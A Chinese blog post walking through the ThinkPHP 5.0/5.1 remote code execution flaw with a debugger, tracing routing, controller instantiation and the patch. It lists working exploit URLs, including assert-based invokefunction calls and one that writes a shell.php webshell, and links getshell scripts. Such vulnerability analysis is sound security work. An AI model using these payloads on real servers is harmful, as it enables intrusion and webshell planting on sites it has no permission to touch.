php5.2 $_GET漏洞,ThinkPHP5 远程代码执行漏洞-动态分析

0x01 前言

ThinkPHP官方最近修复了一个严重的远程代码执行漏洞。这个主要漏洞原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令,受影响的版本包括5.0和5.1版本。

0x02 环境

程序源码下载:http://www.thinkphp.cn/download/967.html

Web环境:Windows 10 x64+PHPStudy 20018

调试工具:phpstorm+xdebug(用vscode也可以,我比较习惯用phpstorm)

xdebug调试配置可以参考我的一篇文章https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/

因为我是从头分析到尾,所以要在设置里面勾上Break at first line in PHP script

20e2fff887f429269b4f5dd8bca01713.png

搭建就不多说了,放源码在根目录然后phpstudy启动!

0x03 漏洞复现

奉上我们的Poc:http://getpass.test/public/index.php?s=index/\think\Request/input&filter=phpinfo&data=1

7d113f2e7acf4d98025dcc70e32d3bbd.png

其实有很多利用的地方,到后面分析完再说。

0x04 漏洞分析

因为是从开始分析,也比较适合新手,虽然啰嗦了点哈,我就不演示去下某个断点了,如果有不懂的你们也可以在不懂的地方下一个断点然后继续分析(记得去掉Break at first line in PHP script再下断点)。

有些不是重点的直接F7或者F8走下去,F7跟进Facade

bc5af3a3aa42dd91695087ec0d2e8994.png

到App.php初始化的地方,继续F8往下面走

4bf99b063f4928c5cdab51380e14efa2.png

到routeCheckF7跟进去

dffa05e4cbc6397cb13d02ef1e8508f3.png

到这里F7继续跟进去

36e9d4c228af42924117d724bedd7616.png

有些没有必要的函数就直接F8跳过去,到pathinfo()这里F7跟进去

bc2c73eb6e5704cebf9e0207527b14f4.png

我们可以分析一下这个·pathinfo函数的代码$this->config->get('var_pathinfo')这一句是从配置文件config/app.php获取的值

16b7b655d527e714ab967155bebcea5b.png

当请求报文包含$_GET[zxsq-anti-bbcode-'s'],就取其值作为pathinfo,并返回pathinfo给调用函数,所以我们可利用$_GET[zxsq-anti-bbcode-'s']来传递路由信息。

public function pathinfo()

{

if (is_null($this->pathinfo)) {

if (isset($_GET[zxsq-anti-bbcode-$this->config->get('var_pathinfo')])) {

// 判断URL里面是否有兼容模式参数

$_SERVER[zxsq-anti-bbcode-'PATH_INFO'] = $_GET[zxsq-anti-bbcode-$this->config->get('var_pathinfo')];

unset($_GET[zxsq-anti-bbcode-$this->config->get('var_pathinfo')]);

} elseif ($this->isCli()) {

// CLI模式下 index.php module/controller/action/params/...

$_SERVER[zxsq-anti-bbcode-'PATH_INFO'] = isset($_SERVER[zxsq-anti-bbcode-'argv'][zxsq-anti-bbcode-1]) ? $_SERVER[zxsq-anti-bbcode-'argv'][zxsq-anti-bbcode-1] : '';

}

// 分析PATHINFO信息

if (!isset($_SERVER[zxsq-anti-bbcode-'PATH_INFO'])) {

foreach ($this->config->get('pathinfo_fetch') as $type) {

if (!empty($_SERVER[zxsq-anti-bbcode-$type])) {

$_SERVER[zxsq-anti-bbcode-'PATH_INFO'] = (0 === strpos($_SERVER[zxsq-anti-bbcode-$type], $_SERVER[zxsq-anti-bbcode-'SCRIPT_NAME'])) ?

substr($_SERVER[zxsq-anti-bbcode-$type], strlen($_SERVER[zxsq-anti-bbcode-'SCRIPT_NAME'])) : $_SERVER[zxsq-anti-bbcode-$type];

break;

}

}

}

$this->pathinfo = empty($_SERVER[zxsq-anti-bbcode-'PATH_INFO']) ? '/' : ltrim($_SERVER[zxsq-anti-bbcode-'PATH_INFO'], '/');

}

return $this->pathinfo;

}

可以看到return $this->pathinfo;返回的内容

6b8983f918c160fd68b08f9b2dadbace.png

F7走,可以看到$pathinfo赋值给$this->path

7e58022316fd0f219c28db6e5956d707.png

F7走到check的函数,如果开启了强制路由则会抛出异常,也就是说该漏洞在开启强制路由的情况下不受影响,但是默认是不开启的。

后面看到实例化了UrlDispatch对象,将$url传递给了构造函数。

08ec3ff9ede747fd9c605348658eb9cb.png

再继续分析下去,中间有些不必要的直接F8走过就行了。可以看到将$url传递给了$action

b3db9179284c610375a961c8fffd4297.png

F7走下去,跳回了App.php,可以看到$dispatch返回来的值代入dispatch方法。

e183905963ac9e72a5e14c703d563cd7.png

F7走进去,可以看到传入的$dispatch赋值给了$this->dispatch,不过现在分析这个版本是有改动的,有些版本是在这里用dispatch代入下面会分析到的parseUrl方法,这个版本的是用$this->action来parseUrl方法的,继续分析下去,下面会分析到的。

e7b01d851bb3ca49d0a7fc509430ec3a.png

F7又返回了App.php的文件,可以看到执行调度这里$data = $dispatch->run();,我们F7跟进去

8f1352104acc6f002fbc8d66dde48c15.png

这里就是上面所说的,$url是由thinkphp/library/think/route/Dispatch.php里面的$this->action = $action;传过来的。

d925b63e25bb39be9c74b993d1bbe26c.png

我们F7继续分析parseUrl方法,然后F8走到这里

b71205efa8548c3a3ad691955adb91d4.png

F7进到这个parseUrlPath方法里面,用/来分割[zxsq-anti-bbcode-模块/控制器/操作]并存到$path数组里面

private function parseUrlPath($url)

{

// 分隔符替换 确保路由定义使用统一的分隔符

$url = str_replace('|', '/', $url);

$url = trim($url, '/');

$var = [];

if (false !== strpos($url, '?')) {

// [zxsq-anti-bbcode-模块/控制器/操作?]参数1=值1&参数2=值2...

$info = parse_url($url);

$path = explode('/', $info[zxsq-anti-bbcode-'path']);

parse_str($info[zxsq-anti-bbcode-'query'], $var);

} elseif (strpos($url, '/')) {

// [zxsq-anti-bbcode-模块/控制器/操作]

$path = explode('/', $url);

} elseif (false !== strpos($url, '=')) {

// 参数1=值1&参数2=值2...

parse_str($url, $var);

} else {

$path = [zxsq-anti-bbcode-$url];

}

return [zxsq-anti-bbcode-$path, $var];

}

72c73aa2c4ab448c557b334127f83100.png

中间的继续F8往下走,返回的$route数组

2a5885b7ae8db27cc98dd7d188d8a8ef.png

继续往下走,F7进去

1cd4790d9f071d801ffa3944dbd950e5.png

可以看到thinkphp/library/think/route/Dispatch.php类这里的$this->action的值变了。

450e898b61bea5086f9614783cc4393b.png

继续会走到thinkphp/library/think/route/dispatch/Module.php,可以看到$this->action赋值给了$result

7e67a712ea9ad74726377f2ad69e8241.png

F8往下走,走到实例化控制器,这里的$controller是可控的,是由上面的$result[zxsq-anti-bbcode-1]传过来的

$controller = strip_tags($result[zxsq-anti-bbcode-1] ?: $this->app->config('app.default_controller'));

6392dd2a5b03c9d418a91da7c4279599.png

F7跟进去,当$name存在反斜杠时就直接将$name赋值给$class并返回。攻击者通过控制输入就可以操控类的实例化过程,从而造成代码执行漏洞。

d983e914f92fc193e25025b98235762f.png

下面就是调用反射执行类的步骤了

be22a5ae2854b303abaddc6588fbca4b.png

也可以往下看,这里是通过invokeMethod 函数动态调用方法的地方,可以看到$class是think\Requset的类,$method是input

2cd7bb2f6bcf7eeaf63f446ff86b9446.png

后面就是把内容输出到浏览器的过程了

a0088abe9bc772fa4630201d923e2775.png

0x05 漏洞分析回顾

我们从POC来分析执行过程http://getpass.test/public/index.php?s=index/\think\Request/input&filter=phpinfo&data=1

开始我们分析pathinfo()函数的时候得只可以用s来获取路由信息

parseUrlPath方法用来分割[zxsq-anti-bbcode-模块/控制器/操作]格式

在后面传入$controller的时候,就是开始我们获取到路由的值,但是用反斜杠就开头,就是想要实例化的类

最后是反射函数,调用了input方法执行phpinfo()

一定是要Request类里面的input方法来执行吗?

不一定,视版本而决定。

以下是先知大神分类出来的

5.1是下面这些:

think\Loader

Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561

think\Error

think\Container

think\App

think\Env

think\Config

think\Hook

think\Facade

think\facade\Env

env

think\Db

think\Lang

think\Request

think\Log

think\log\driver\File

think\facade\Route

route

think\Route

think\route\Rule

think\route\RuleGroup

think\route\Domain

think\route\RuleItem

think\route\RuleName

think\route\Dispatch

think\route\dispatch\Url

think\route\dispatch\Module

think\Middleware

think\Cookie

think\View

think\view\driver\Think

think\Template

think\template\driver\File

think\Session

think\Debug

think\Cache

think\cache\Driver

think\cache\driver\File

5.0 的有:

think\Route

think\Config

think\Error

think\App

think\Request

think\Hook

think\Env

think\Lang

think\Log

think\Loader

两个版本公有的是:

think\Route

think\Loader

think\Error

think\App

think\Env

think\Config

think\Hook

think\Lang

think\Request

think\Log

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[zxsq-anti-bbcode-0]=phpinfo&vars[zxsq-anti-bbcode-1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4:

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[zxsq-anti-bbcode-0]=assert&vars[zxsq-anti-bbcode-1][]=phpinfo()

这里也不写getshell的python脚本了 ,可以参考

https://github.com/theLSA/tp5-getshell

https://payloads.online/archivers/2018-12-05/1

0x06 补丁分析

下面是针对5.0和5.1的补丁,添加了正则过滤,导致无法再传入\think\app这种形式的控制器。

d9da2b7e6de81888d68ab1a6ec221bb2.png

9732c31073190010dec426a234ff19cc.png

0x07 结束

很多天没发文章,这个洞还是蛮厉害的,前段时间爆发的时候还看到有人用这个洞扫全网的ip。

0x08 参考

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值